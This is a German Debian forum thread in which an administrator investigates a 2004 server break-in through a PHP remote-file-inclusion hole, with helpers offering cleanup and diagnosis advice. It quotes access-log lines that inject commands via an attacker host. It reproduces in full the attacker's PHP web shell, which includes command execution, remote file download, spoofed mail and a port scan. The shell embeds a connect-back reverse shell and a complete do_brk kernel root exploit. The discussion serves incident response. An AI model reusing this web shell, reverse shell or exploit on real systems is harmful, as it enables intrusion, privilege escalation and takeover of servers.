r0nin Backdoor // Hacker Attacke
-
- Beiträge: 444
- Registriert: 17.07.2003 15:55:41
r0nin Backdoor // Hacker Attacke
Hallo,
hatte grade einen Hackangriff auf einem woodyserver, nun ist eine Backdoor namens r0nin installiert, die auf Port 1666 lauscht.
Backups laufen hier sehr langsam, deshalb komme ich nciht ganz schnell zu einer Neuinstallation.
Wie kann ich das Ding vorerst am effektivsten töten.
Weiterhin habe ich ncoh keine AHnung, wie die reingekommen sind, habe auch nicht grade große Ahnung von Computerforensik.... habe allerdings mit schrecken festgestellt, dass noch Kernel 2.4.18 installiert war. Gibt es da bekannte Exploits, vermutlich ohne bekanntem Useraccount?
Alle Ports außer ein paar Standarddienste (SMTP, POP, IMAP, HTTP, alle in aktuellen Woody Versionen) waren dicht
hatte grade einen Hackangriff auf einem woodyserver, nun ist eine Backdoor namens r0nin installiert, die auf Port 1666 lauscht.
Backups laufen hier sehr langsam, deshalb komme ich nciht ganz schnell zu einer Neuinstallation.
Wie kann ich das Ding vorerst am effektivsten töten.
Weiterhin habe ich ncoh keine AHnung, wie die reingekommen sind, habe auch nicht grade große Ahnung von Computerforensik.... habe allerdings mit schrecken festgestellt, dass noch Kernel 2.4.18 installiert war. Gibt es da bekannte Exploits, vermutlich ohne bekanntem Useraccount?
Alle Ports außer ein paar Standarddienste (SMTP, POP, IMAP, HTTP, alle in aktuellen Woody Versionen) waren dicht
Zuletzt geändert von Erzlord Caron am 09.08.2004 14:19:35, insgesamt 1-mal geändert.
-
- Beiträge: 444
- Registriert: 17.07.2003 15:55:41
-
- Beiträge: 444
- Registriert: 17.07.2003 15:55:41
Code: Alles auswählen
r./apache/access.log:200.158.8.50 - - [08/Aug/2004:23:30:04 +0200] "GET /index.php?show=http://ciber.locais.port5.com/php.gif?&cmd=cd%20/var/tmp;chmod%20777%20r0nin HTTP/1.1" 200 5735 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
./apache/access.log:200.158.8.50 - - [08/Aug/2004:23:30:23 +0200] "GET /index.php?show=http://ciber.locais.port5.com/php.gif?&cmd=cd%20/var/tmp;./r0nin HTTP/1.1" 200 5764 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
debian:/var/log# grep -r r0nin .
./apache/access.log:200.158.8.50 - - [08/Aug/2004:23:30:04 +0200] "GET /index.php?show=http://ciber.locais.port5.com/php.gif?&cmd=cd%20/var/tmp;chmod%20777%20r0nin HTTP/1.1" 200 5735 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
./apache/access.log:200.158.8.50 - - [08/Aug/2004:23:30:23 +0200] "GET /index.php?show=http://ciber.locais.port5.com/php.gif?&cmd=cd%20/var/tmp;./r0nin HTTP/1.1" 200 5764 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
Und so ist es drauf gekommen. Fehlkonfiguration? Bug? Und vor allem, was kann bei so einem Vorgehen passiert sein?
also...
da das Prog r0nin nur im /var/tmp-Verzeichnis findest, würd ich erstmal ein
killall -9 r0nin machen, um den zu stoppen. dann würd ich den Webserver stoppen (z.b. mit /etc/init.d/apachectl stop, damit die nicht den angriff wieder holen können.
Dann wäre es sinnvoll die Log-Dateien vom Webserver irgendwie in READ-ONLY zu sichern, um sie später zu analysieren, schließlich wissen wir nicht, was der da noch so alles geändert hat.
evt. sollten wir ein Komplett-Backup der Partionen machen, kannste auch in einer älteren LinuxMagazin-Ausgabe (ich glaub 10/03 oder so) nachlesen.
Aber vor allem würd ich mich ma, nach dem Durchforsten der Log-Datei auf die Suche machen, wo das Loch ist, nen Update wäre dafür auch nicht schlecht, das aber evt. erst später, nachdem alles notwendige erkannt wurde.
Für mich sieht das Loch nach nem PHP-Fehler aus. haste irgendwie PHPNUKE oder so laufen?
meld mich gleich wieder
bn
da das Prog r0nin nur im /var/tmp-Verzeichnis findest, würd ich erstmal ein
killall -9 r0nin machen, um den zu stoppen. dann würd ich den Webserver stoppen (z.b. mit /etc/init.d/apachectl stop, damit die nicht den angriff wieder holen können.
Dann wäre es sinnvoll die Log-Dateien vom Webserver irgendwie in READ-ONLY zu sichern, um sie später zu analysieren, schließlich wissen wir nicht, was der da noch so alles geändert hat.
evt. sollten wir ein Komplett-Backup der Partionen machen, kannste auch in einer älteren LinuxMagazin-Ausgabe (ich glaub 10/03 oder so) nachlesen.
Aber vor allem würd ich mich ma, nach dem Durchforsten der Log-Datei auf die Suche machen, wo das Loch ist, nen Update wäre dafür auch nicht schlecht, das aber evt. erst später, nachdem alles notwendige erkannt wurde.
Für mich sieht das Loch nach nem PHP-Fehler aus. haste irgendwie PHPNUKE oder so laufen?
meld mich gleich wieder
bn
-
- Beiträge: 444
- Registriert: 17.07.2003 15:55:41
die schritte bin ich alle schon gegangen, danke.
außewrdem habe ich der gründlichkeithalber die backdoor umbenannt und das ausführrecht entfernt.
mit etwas genugtuung habe ich gesehen, dass die zugriffsversuche auf die backdoor an der firewall abgeprallt sind.
das loch, mit dem sie gestartet wurde, ist offenbar die nciht abgefange show Variable, über die eine externe Seite eingeschleust werden konnte. Was mir noch nciht klar ist, ist, wie diese r0nin-Datei ins /var/tmp Verzeichnis gekommen ist.
In den Logs sieht man nciht, dass sie direkt runtergeladen wurde.
Allerdings enthält die eingebundene Datei offenbar C-Code.
Könnte das jemand mit mehr Ahnung als ich mal überfliegen?
außewrdem habe ich der gründlichkeithalber die backdoor umbenannt und das ausführrecht entfernt.
mit etwas genugtuung habe ich gesehen, dass die zugriffsversuche auf die backdoor an der firewall abgeprallt sind.
das loch, mit dem sie gestartet wurde, ist offenbar die nciht abgefange show Variable, über die eine externe Seite eingeschleust werden konnte. Was mir noch nciht klar ist, ist, wie diese r0nin-Datei ins /var/tmp Verzeichnis gekommen ist.
In den Logs sieht man nciht, dass sie direkt runtergeladen wurde.
Allerdings enthält die eingebundene Datei offenbar C-Code.
Könnte das jemand mit mehr Ahnung als ich mal überfliegen?
Code: Alles auswählen
<CENTER>
<DIV STYLE="font-family: verdana; font-size: 25px; font-weight: bold; color: #666666;">[:: CMD ::]</DIV>
<DIV STYLE="font-family: verdana; font-size: 10px; font-weight: bold; color: #999999;">[:: By: O_Psicopata_ ::]</DIV>
<DIV STYLE="font-family: verdana; font-size: 20px; font-weight: bold; color: #cccccc;">[:: Informações Da Página ::]</DIV>
<?php
closelog( );
$dono = get_current_user( );
$ver = phpversion( );
$login = posix_getuid( );
$euid = posix_geteuid( );
$gid = posix_getgid( );
if ($chdir == "") $chdir = getcwd( );
?>
<TABLE BORDER="0" CELLPADDING="0" CELLSPACING="0">
<?php
$uname = posix_uname( );
while (list($info, $value) = each ($uname)) {
?>
<TR>
<TD width="457"><DIV STYLE="font-family: verdana; font-size: 10px;"><?= $info ?>: <?= $value ?></DIV></TD>
</TR>
<?php
}
?>
<TR>
<TR>
<TD><DIV STYLE="font-family: verdana; font-size: 10px;">Você Essta Logado Nesse Servidor Como: <?= $dono ?></DIV></TD>
</TR>
<TR>
<TD><DIV STYLE="font-family: verdana; font-size: 10px;">Versão Do PHP: <?= $ver ?></DIV></TD>
</TR>
<TR>
<TD><DIV STYLE="font-family: verdana; font-size: 10px;">Informações Uteis: uid (<?= $login ?>) euid (<?= $euid ?>) gid (<?= $gid ?>)</DIV></TD>
</TR>
<TR>
<TD><DIV STYLE="font-family: verdana; font-size: 10px;">Caminho Atual: <?= $chdir ?></DIV></TD>
</TR>
<TR>
<TD><DIV STYLE="font-family: verdana; font-size: 10px;">IP Do Servidor: <?php $aaa = gethostbyname($SERVER_NAME); echo $aaa;?></DIV></TD>
</TR>
<TR>
<TD><DIV STYLE="font-family: verdana; font-size: 10px;">Essa Página Está Usando: <?= "$SERVER_SOFTWARE $SERVER_VERSION"; ?></DIV></TD>
</TR>
</TABLE>
<BR>
<?php
if ($cmd != "") {
echo "<DIV STYLE=\"font-family: verdana; font-size: 10px;\"><b>[+] Comandos Iniciados [+]</b> </DIV>";
?>
<DIV STYLE="font-family: verdana; font-size: 20px; font-weight: bold; color: #cccccc;">[:: Respostas Dos Comandos ::]</DIV>
<?php
if ($fe == 1){
$fe = "exec";
}
if ($fe == ""){
$fe = "passthru";
}
if ($fe == "2"){
$fe = "system";
}
if (isset($chdir)) @chdir($chdir);
ob_start( );
$fe("$cmd 2>&1");
$output = ob_get_contents();
ob_end_clean( );
?>
<p>
<TEXTAREA COLS="75" ROWS="8" STYLE="font-family: verdana; font-size: 10px;">
<?php
if (!empty($output)) echo str_replace(">", ">", str_replace("<", "<", $output));
?>
</TEXTAREA>
<BR>
<b><font face="Verdana" size="1" color="#CCCCCC">#<font color="#666666">H4ck3rsBr</font> - <font color="#666666">irc.brasnet.org</font></font></b></p>
<font face="Verdana" size="1" color="#CCCCCC"><b>Code by <font color="#666666">Cr4shyng</font>
of <font color="#666666">Datacha0s</font> and modify by <font color="#666666">O_Psicopata_</font> of <font color="#666666">H4ck3rsBr</font></b></font></font>
<p>
<?php
}
if ($safemode != "") {
echo "<DIV STYLE=\"font-family: verdana; font-size: 10px;\"><b>[+] Comandos Iniciados [+]</b> </DIV>";
?>
</p>
<DIV STYLE="font-family: verdana; font-size: 20px; font-weight: bold; color: #cccccc;">[:: Lista Dos Diretorios ::]</DIV>
<?php
if ($dir = @opendir($chdir)) {
echo "<TABLE border=1 cellspacing=1 cellpadding=0>";
echo "<TR>";
echo "<TD valign=top>";
echo "<b><font size=2 face=arial>List All Files</b> <br><br>";
while (($file = readdir($dir)) !== false) {
if (@is_file($file)) {
$file1 = fileowner($file);
$file2 = fileperms($file);
echo "<font color=green>$file1 - $file2 - <a href=$SCRIPT_NAME?$QUERY_STRING&see=$file>$file</a><br>";
// echo "<font color=green>$file1 - $file2 - $file </font><br>";
flush( );
}
}
echo "</TD>";
echo"<TD valign=top>";
echo "<b><font size=2 face=arial>List Only Folders</b> <br><br>";
if ($dir = @opendir($chdir)) {
while (($file = readdir($dir)) !== false) {
if (@is_dir($file)) {
$file1 = fileowner($file);
$file2 = fileperms($file);
echo "<font color=blue>$file1 - $file2 - <a href=$SCRIPT_NAME?$QUERY_STRING&chdir=$chdir/$file>$file</a><br>";
// echo "<font color=blue>$file1 - $file2 - $file </font><br>";
}
}
}
echo "</TD>";
echo"<TD valign=top>";
echo "<b><font size=2 face=arial>List Writable Folders</b><br><br>";
if ($dir = @opendir($chdir)) {
while (($file = readdir($dir)) !== false) {
if (@is_writable($file) && @is_dir($file)) {
$file1 = fileowner($file);
$file2 = fileperms($file);
echo "<font color=red>$file1 - $file2 - $file </font><br>";
}
}
}
echo "</TD>";
echo "</TD>";
echo "<TD valign=top>";
echo "<b><font size=2 face=arial>List Writable Files</b> <br><br>";
if ($dir = opendir($chdir)) {
while (($file = readdir($dir)) !== false) {
if (@is_writable($file) && @is_file($file)) {
$file1 = fileowner($file);
$file2 = fileperms($file);
echo "<font color=red>$file1 - $file2 - $file </font><br>";
}
}
}
echo "</TD>";
echo "</TR>";
echo "</TABLE>";
}
}
?>
<?php
if ($shell == "write") {
$shell = "#include <stdio.h>\n" .
"#include <sys/socket.h>\n" .
"#include <netinet/in.h>\n" .
"#include <arpa/inet.h>\n" .
"#include <netdb.h>\n" .
"int main(int argc, char **argv) {\n" .
" char *host;\n" .
" int port = 80;\n" .
" int f;\n" .
" int l;\n" .
" int sock;\n" .
" struct in_addr ia;\n" .
" struct sockaddr_in sin, from;\n" .
" struct hostent *he;\n" .
" char msg[ ] = \"Welcome to H4ck3rsBr Connect Back Shell\\n\\n\"\n" .
" \"Issue \\\"export TERM=xterm; exec bash -i\\\"\\n\"\n" .
" \"For More Reliable Shell.\\n\"\n" .
" \"Issue \\\"unset HISTFILE; unset SAVEHIST\\\"\\n\"\n" .
" \"For Not Getting Logged.\\n(;\\n\\n\";\n" .
" printf(\"Seu Backdoor Foi Conectado Com Exito\\n\\n\");\n" .
" if (argc < 2 || argc > 3) {\n" .
" printf(\"Usage: %s [Host] <port>\\n\", argv[0]);\n" .
" return 1;\n" .
" }\n" .
" printf(\"[*] Dumping Arguments\\n\");\n" .
" l = strlen(argv[1]);\n" .
" if (l <= 0) {\n" .
" printf(\"[-] Host Invalido\\n\");\n" .
" return 1;\n" .
" }\n" .
" if (!(host = (char *) malloc(l))) {\n" .
" printf(\"[-] Unable to Allocate Memory\\n\");\n" .
" return 1;\n" .
" }\n" .
" strncpy(host, argv[1], l);\n" .
" if (argc == 3) {\n" .
" port = atoi(argv[2]);\n" .
" if (port <= 0 || port > 65535) {\n" .
" printf(\"[-] Numero da Porta Invalido\\n\");\n" .
" return 1;\n" .
" }\n" .
" }\n" .
" printf(\"[*] Resolving Host Name\\n\");\n" .
" he = gethostbyname(host);\n" .
" if (he) {\n" .
" memcpy(&ia.s_addr, he->h_addr, 4);\n" .
" } else if ((ia.s_addr = inet_addr(host)) == INADDR_ANY) {\n" .
" printf(\"[-] Unable to Resolve: %s\\n\", host);\n" .
" return 1;\n" .
" }\n" .
" sin.sin_family = PF_INET;\n" .
" sin.sin_addr.s_addr = ia.s_addr;\n" .
" sin.sin_port = htons(port);\n" .
" printf(\"[*] Conectando...\\n\");\n" .
" if ((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) {\n" .
" printf(\"[-] Erro\\n\");\n" .
" return 1;\n" .
" }\n" .
" if (connect(sock, (struct sockaddr *)&sin, sizeof(sin)) != 0) {\n" .
" printf(\"[-] Unable to Connect\\n\");\n" .
" return 1;\n" .
" }\n" .
" printf(\"[*] Spawning Shell\\n\");\n" .
" f = fork( );\n" .
" if (f < 0) {\n" .
" printf(\"[-] Unable to Fork\\n\");\n" .
" return 1;\n" .
" } else if (!f) {\n" .
" write(sock, msg, sizeof(msg));\n" .
" dup2(sock, 0);\n" .
" dup2(sock, 1);\n" .
" dup2(sock, 2);\n" .
" execl(\"/bin/sh\", \"shell\", NULL);\n" .
" close(sock);\n" .
" return 0;\n" .
" }\n" .
" printf(\"[*] Detached\\n\\n\");\n" .
" return 0;\n" .
"}\n";
$fp = fopen("/tmp/dc-connectback.c", "w");
$ok = fwrite($fp, $shell);
if (!empty($ok)) {
echo "<DIV STYLE=\"font-family: verdana; font-size: 15px;\">[*] Connect Back Shell Was Successfuly Copied</DIV>";
} else {
echo "<DIV STYLE=\"font-family: verdana; font-size: 15px;\">[-] An Error Has Ocurred While Copying Shell</DIV>";
}
}
if ($kernel == "write") {
$kernel = "/*\n" .
" * hatorihanzo.c\n" .
" * Linux kernel do_brk vma overflow exploit.\n" .
" *\n" .
" * The bug was found by Paul (IhaQueR) Starzetz <paul@isec.pl>\n" .
" *\n" .
" * Further research and exploit development by\n" .
" * Wojciech Purczynski <cliph@isec.pl> and Paul Starzetz.\n" .
" *\n" .
" * (c) 2003 Copyright by IhaQueR and cliph. All Rights Reserved.\n" .
" *\n" .
" * COPYING, PRINTING, DISTRIBUTION, MODIFICATION, COMPILATION AND ANY USE\n" .
" * OF PRESENTED CODE IS STRICTLY PROHIBITED.\n" .
"*/\n" .
"#define _GNU_SOURCE\n" .
"#include <stdio.h>\n" .
"#include <stdlib.h>\n" .
"#include <errno.h>\n" .
"#include <string.h>\n" .
"#include <unistd.h>\n" .
"#include <fcntl.h>\n" .
"#include <signal.h>\n" .
"#include <paths.h>\n" .
"#include <grp.h>\n" .
"#include <setjmp.h>\n" .
"#include <stdint.h>\n" .
"#include <sys/mman.h>\n" .
"#include <sys/ipc.h>\n" .
"#include <sys/shm.h>\n" .
"#include <sys/ucontext.h>\n" .
"#include <sys/wait.h>\n" .
"#include <asm/ldt.h>\n" .
"#include <asm/page.h>\n" .
"#include <asm/segment.h>\n" .
"#include <linux/unistd.h>\n" .
"#include <linux/linkage.h>\n" .
"#define kB * 1024\n" .
"#define MB * 1024 kB\n" .
"#define GB * 1024 MB\n" .
"#define MAGIC 0xdefaced /* I should've patented this number -cliph */\n" .
"#define ENTRY_MAGIC 0\n" .
"#define ENTRY_GATE 2\n" .
"#define ENTRY_CS 4\n" .
"#define ENTRY_DS 6\n" .
"#define CS ((ENTRY_CS << 2) | 4)\n" .
"#define DS ((ENTRY_DS << 2) | 4)\n" .
"#define GATE ((ENTRY_GATE << 2) | 4 | 3)\n" .
"#define LDT_PAGES ((LDT_ENTRIES*LDT_ENTRY_SIZE+PAGE_SIZE-1) / PAGE_SIZE)\n" .
"#define TOP_ADDR 0xFFFFE000U\n" .
"/* configuration */\n" .
"unsigned task_size;\n" .
"unsigned page;\n" .
"uid_t uid;\n" .
"unsigned address;\n" .
"int dontexit = 0;\n" .
"void fatal(char * msg)\n" .
"{\n" .
" fprintf(stderr, \"[-] %s: %s\\n\", msg, strerror(errno));\n" .
" if (dontexit) {\n" .
" fprintf(stderr, \"[-] Unable to exit, entering neverending loop.\\n\");\n" .
" kill(getpid(), SIGSTOP);\n" .
" for (;;) pause();\n" .
" }\n" .
" exit(EXIT_FAILURE);\n" .
"}\n" .
"void configure(void)\n" .
"{\n" .
" unsigned val;\n" .
" task_size = ((unsigned)&val + 1 GB ) / (1 GB) * 1 GB;\n" .
" uid = getuid();\n" .
"}\n" .
"void expand(void)\n" .
"{\n" .
" unsigned top = (unsigned) sbrk(0);\n" .
" unsigned limit = address + PAGE_SIZE;\n" .
" do {\n" .
" if (sbrk(PAGE_SIZE) == NULL)\n" .
" fatal(\"Kernel seems not to be vulnerable\");\n" .
" dontexit = 1;\n" .
" top += PAGE_SIZE;\n" .
" } while (top < limit);\n" .
"}\n" .
"jmp_buf jmp;\n" .
"#define MAP_NOPAGE 1\n" .
"#define MAP_ISPAGE 2\n" .
"void sigsegv(int signo, siginfo_t * si, void * ptr)\n" .
"{\n" .
" struct ucontext * uc = (struct ucontext *) ptr;\n" .
" int error_code = uc->uc_mcontext.gregs[REG_ERR];\n" .
" (void)signo;\n" .
" (void)si;\n" .
" error_code = MAP_NOPAGE + (error_code & 1);\n" .
" longjmp(jmp, error_code);\n" .
"}\n" .
"void prepare(void)\n" .
"{\n" .
" struct sigaction sa;\n" .
" sa.sa_sigaction = sigsegv;\n" .
" sa.sa_flags = SA_SIGINFO | SA_NOMASK;\n" .
" sigemptyset(&sa.sa_mask);\n" .
" sigaction(SIGSEGV, &sa, NULL);\n" .
"}\n" .
"int testaddr(unsigned addr)\n" .
"{\n" .
" int val;\n" .
" val = setjmp(jmp);\n" .
" if (val == 0) {\n" .
" asm (\"verr (%%eax)\" : : \"a\" (addr));\n" .
" return MAP_ISPAGE;\n" .
" }\n" .
" return val;\n" .
"}\n" .
"#define map_pages (((TOP_ADDR - task_size) + PAGE_SIZE - 1) / PAGE_SIZE)\n" .
"#define map_size (map_pages + 8*sizeof(unsigned) - 1) / (8*sizeof(unsigned))\n" .
"#define next(u, b) do { if ((b = 2*b) == 0) { b = 1; u++; } } while(0)\n" .
"void map(unsigned * map)\n" .
"{\n" .
" unsigned addr = task_size;\n" .
" unsigned bit = 1;\n" .
" prepare();\n" .
" while (addr < TOP_ADDR) {\n" .
" if (testaddr(addr) == MAP_ISPAGE)\n" .
" *map |= bit;\n" .
" addr += PAGE_SIZE;\n" .
" next(map, bit);\n" .
" }\n" .
" signal(SIGSEGV, SIG_DFL);\n" .
"}\n" .
"void find(unsigned * m)\n" .
"{\n" .
" unsigned addr = task_size;\n" .
" unsigned bit = 1;\n" .
" unsigned count;\n" .
" unsigned tmp;\n" .
" prepare();\n" .
" tmp = address = count = 0U;\n" .
" while (addr < TOP_ADDR) {\n" .
" int val = testaddr(addr);\n" .
" if (val == MAP_ISPAGE && (*m & bit) == 0) {\n" .
" if (!tmp) tmp = addr;\n" .
" count++;\n" .
" } else {\n" .
" if (tmp && count == LDT_PAGES) {\n" .
" errno = EAGAIN;\n" .
" if (address)\n" .
" fatal(\"double allocation\\n\");\n" .
" address = tmp;\n" .
" }\n" .
" tmp = count = 0U;\n" .
" }\n" .
" addr += PAGE_SIZE;\n" .
" next(m, bit);\n" .
" }\n" .
" signal(SIGSEGV, SIG_DFL);\n" .
" if (address)\n" .
" return;\n" .
" errno = ENOTSUP;\n" .
" fatal(\"Unable to determine kernel address\");\n" .
"}\n" .
"int modify_ldt(int, void *, unsigned);\n" .
"void ldt(unsigned * m)\n" .
"{\n" .
" struct modify_ldt_ldt_s l;\n" .
" map(m);\n" .
" memset(&l, 0, sizeof(l));\n" .
" l.entry_number = LDT_ENTRIES - 1;\n" .
" l.seg_32bit = 1;\n" .
" l.base_addr = MAGIC >> 16;\n" .
" l.limit = MAGIC & 0xffff;\n" .
" if (modify_ldt(1, &l, sizeof(l)) == -1)\n" .
" fatal(\"Unable to set up LDT\");\n" .
" l.entry_number = ENTRY_MAGIC / 2;\n" .
" if (modify_ldt(1, &l, sizeof(l)) == -1)\n" .
" fatal(\"Unable to set up LDT\");\n" .
" find(m);\n" .
"}\n" .
"asmlinkage void kernel(unsigned * task)\n" .
"{\n" .
" unsigned * addr = task;\n" .
" /* looking for uids */\n" .
" while (addr[0] != uid || addr[1] != uid ||\n" .
" addr[2] != uid || addr[3] != uid)\n" .
" addr++;\n" .
" addr[0] = addr[1] = addr[2] = addr[3] = 0; /* uids */\n" .
" addr[4] = addr[5] = addr[6] = addr[7] = 0; /* uids */\n" .
" addr[8] = 0;\n" .
" /* looking for vma */\n" .
" for (addr = (unsigned *) task_size; addr; addr++) {\n" .
" if (addr[0] >= task_size && addr[1] < task_size &&\n" .
" addr[2] == address && addr[3] >= task_size) {\n" .
" addr[2] = task_size - PAGE_SIZE;\n" .
" addr = (unsigned *) addr[3];\n" .
" addr[1] = task_size - PAGE_SIZE;\n" .
" addr[2] = task_size;\n" .
" break;\n" .
" }\n" .
" }\n" .
"}\n" .
"void kcode(void);\n" .
"#define __str(s) #s\n" .
"#define str(s) __str(s)\n" .
"void __kcode(void)\n" .
"{\n" .
" asm(\n" .
" \"kcode: \\n\"\n" .
" \" pusha \\n\"\n" .
" \" pushl %es \\n\"\n" .
" \" pushl %ds \\n\"\n" .
" \" movl $(\" str(DS) \") ,%edx \\n\"\n" .
" \" movl %edx,%es \\n\"\n" .
" \" movl %edx,%ds \\n\"\n" .
" \" movl $0xffffe000,%eax \\n\"\n" .
" \" andl %esp,%eax \\n\"\n" .
" \" pushl %eax \\n\"\n" .
" \" call kernel \\n\"\n" .
" \" addl $4, %esp \\n\"\n" .
" \" popl %ds \\n\"\n" .
" \" popl %es \\n\"\n" .
" \" popa \\n\"\n" .
" \" lret \\n\"\n" .
" );\n" .
"}\n" .
"void knockout(void)\n" .
"{\n" .
" unsigned * addr = (unsigned *) address;\n" .
" if (mprotect(addr, PAGE_SIZE, PROT_READ|PROT_WRITE) == -1)\n" .
" fatal(\"Unable to change page protection\");\n" .
" errno = ESRCH;\n" .
" if (addr[ENTRY_MAGIC] != MAGIC)\n" .
" fatal(\"Invalid LDT entry\");\n" .
" /* setting call gate and privileged descriptors */\n" .
" addr[ENTRY_GATE+0] = ((unsigned)CS << 16) | ((unsigned)kcode & 0xffffU);\n" .
" addr[ENTRY_GATE+1] = ((unsigned)kcode & ~0xffffU) | 0xec00U;\n" .
" addr[ENTRY_CS+0] = 0x0000ffffU; /* kernel 4GB code at 0x00000000 */\n" .
" addr[ENTRY_CS+1] = 0x00cf9a00U;\n" .
" addr[ENTRY_DS+0] = 0x0000ffffU; /* user 4GB code at 0x00000000 */\n" .
" addr[ENTRY_DS+1] = 0x00cf9200U;\n" .
" prepare();\n" .
" if (setjmp(jmp) != 0) {\n" .
" errno = ENOEXEC;\n" .
" fatal(\"Unable to jump to call gate\");\n" .
" }\n" .
" asm(\"lcall $\" str(GATE) \",$0x0\"); /* this is it */\n" .
"}\n" .
"void shell(void)\n" .
"{\n" .
" char * argv[] = { _PATH_BSHELL, NULL };\n" .
" execve(_PATH_BSHELL, argv, environ);\n" .
" fatal(\"Unable to spawn shell\\n\");\n" .
"}\n" .
"void remap(void)\n" .
"{\n" .
" static char stack[8 MB]; /* new stack */\n" .
" static char * envp[] = { \"PATH=\" _PATH_STDPATH, NULL };\n" .
" static unsigned * m;\n" .
" static unsigned b;\n" .
" m = (unsigned *) sbrk(map_size);\n" .
" if (!m)\n" .
" fatal(\"Unable to allocate memory\");\n" .
" environ = envp;\n" .
" asm (\"movl %0, %%esp\\n\" : : \"a\" (stack + sizeof(stack)));\n" .
" b = ((unsigned)sbrk(0) + PAGE_SIZE - 1) & PAGE_MASK;\n" .
" if (munmap((void*)b, task_size - b) == -1)\n" .
" fatal(\"Unable to unmap stack\");\n" .
" while (b < task_size) {\n" .
" if (sbrk(PAGE_SIZE) == NULL)\n" .
" fatal(\"Unable to expand BSS\");\n" .
" b += PAGE_SIZE;\n" .
" }\n" .
" ldt(m);\n" .
" expand();\n" .
" knockout();\n" .
" shell();\n" .
"}\n" .
"int main(void)\n" .
"{\n" .
" configure();\n" .
" remap();\n" .
" return EXIT_FAILURE;\n" .
"}\n";
$fp = fopen("/tmp/xpl_brk.c", "w");
$ok = fwrite($fp, $kernel);
if (!empty($ok)) {
echo "<DIV STYLE=\"font-family: verdana; font-size: 15px;\">[*] Linux Local Kernel Exploit Was Successfuly Copied</DIV>";
} else {
echo "<DIV STYLE=\"font-family: verdana; font-size: 15px;\">[-] An Error Has Ocurred While Copying Kernel Exploit</DIV>";
}
}
?>
</CENTER>
<pre><font face="Tahoma" size="2">
<?php
// Function to Visualize Source Code files
if ($see != "") {
$fp = fopen($see, "r");
$read = fread($fp, 30000);
echo "============== $see ================<br>";
echo "<textarea name=textarea cols=80 rows=15>";
echo "$read";
Echo "</textarea>";
}
// Function to Dowload Local Xploite Binary COde or Source Code
if ($dx != "") {
$fp = @fopen("$hostxpl",r);
$fp2 = @fopen("$storage","w");
fwrite($fp2, "");
$fp1 = @fopen("$storage","a+");
for (;;) {
$read = @fread($fp, 4096);
if (empty($read)) break;
$ok = fwrite($fp1, $read);
if (empty($ok)) {
echo "<DIV STYLE=\"font-family: verdana; font-size: 10px;\">[-] An Error Has Ocurred While Uploading File</DIV>";
break;
}
}
if (!empty($ok)) {
echo "<DIV STYLE=\"font-family: verdana; font-size: 10px;\">[*] File Was Successfuly Uploaded</DIV>";
}
}
flush( );
// Function to visulize Format Color Source Code PHP
if ($sfc != "") {
$showcode = show_source("$sfc");
echo "<font size=4> $showcode </font>";
}
// Function to Visualize all infomation files
if ($fileinfo != "") {
$infofile = stat("$fileanalize");
while (list($info, $value) = each ($infofile)) {
echo" Info: $info Value: $value <br>";
}
}
// Function to send fake mail
if ($fake == 1) {
echo "<FORM METHOD=POST ACTION=\"$SCRIPT_NAME?$QUERY_STRING&send=1\">";
echo "Your Fake Mail <INPUT TYPE=\"\" NAME=\"yourmail\"><br>";
echo "Your Cavy:<INPUT TYPE=\"\" NAME=\"cavy\"><br>";
echo "Suject: <INPUT TYPE=\"text\" NAME=\"subject\"><br>";
echo "Text: <TEXTAREA NAME=\"body\" ROWS=\"\" COLS=\"\"></TEXTAREA><br>";
echo "<INPUT TYPE=\"hidden\" NAME=\"send\" VALUE=\"1\"><br>";
echo "<INPUT TYPE=\"submit\" VALUE=\"Send Fake Mail\">";
echo "</FORM>";
}
if($send == 1) {
if (mail($cavy, $subject, $body, "From: $yourmail\r\n")) {
echo "<DIV STYLE=\"font-family: verdana; font-size: 10px;\">[+] Seu Email Foi Enviado Com Exito [+]</DIV>";
} else {
echo "<DIV STYLE=\"font-family: verdana; font-size: 10px;\">[-] Nao Foi Possivel Enviar Seu Email</DIV>";
}
}
if ($portscan != "") {
$port = array ("21","22","23","25","110",);
$values = count($port);
for ($cont=0; $cont < $values; $cont++) {
@$sock[$cont] = Fsockopen($SERVER_NAME, $port[$cont], $oi, $oi2, 1);
$service = Getservbyport($port[$cont],"tcp");
@$get = fgets($sock[$cont]);
echo "<br>Port: $port[$cont] - Service: $service<br><br>";
echo "<br>Banner: $get <br><br>";
flush();
}
}
?>
</font></pre>
Zuletzt geändert von Erzlord Caron am 09.08.2004 14:53:48, insgesamt 1-mal geändert.
-
- Beiträge: 444
- Registriert: 17.07.2003 15:55:41
- pdreker
- Beiträge: 8298
- Registriert: 29.07.2002 21:53:30
- Lizenz eigener Beiträge: MIT Lizenz
- Wohnort: Nürnberg
OK, wie Du schon gesehen hast, sind sie über den Apache rein, und zwar über ein Bug in dem dort laufenden PHP Skript. Das Skript scheint Eingabe Variablen nicht korrekt zu validieren, und so lassen sich Shell Befehle einschleusen. Was genau da abging steht in dem Log Ausschnitt den Du weiter oben gepostet hast.
Was für eine PHP Software läuft da?
Scheinbar kann man dem show Befehl deDeiner PHP Software eine URL übergeben, die dann angezeigt wird. Das ist eine sog. XSS (Cross Site Scripting) Attacke, mittels dere man Deine Apache beliebige PHP Skripte unterschieben kann. Wenn man sich das php.gif von dem anderen Server anschaut, dann ist da ein PHP Skript, mit dem man Shell Befehle ausführen kann. Aus irgendeinem Grund (Bug) kann man der PHP Software auf Deinem Server dann beliebige PHP Seiten unterschieben die er ausführt, indem man einfach die URL an die show Funktion übergibt. Damit haben sie dann r0nin hochgeladen und gestartet.
Die php.gif Datei enthält ausserdem einen Kernel Exploit (do_brk) mit dem versucht wird root Rechte zu erlangen. Der normale Kernel 2.4.18 kann damit gecracked werden, und man hat dann root Rechte. Der Debian 2.4.18 Kernel ist nicht anfällig, allerdings nur, wenn Du *alle* Security Updates von security.debian.org eingespielt hast. Wenn der 2.4.18 selbstgebaut ist, dann hast Du ebenfalls ein Problem. Debian hat das Problem in kernel-image-2.4.18-12 gefixed. Wenn Dein Kernel älter ist:
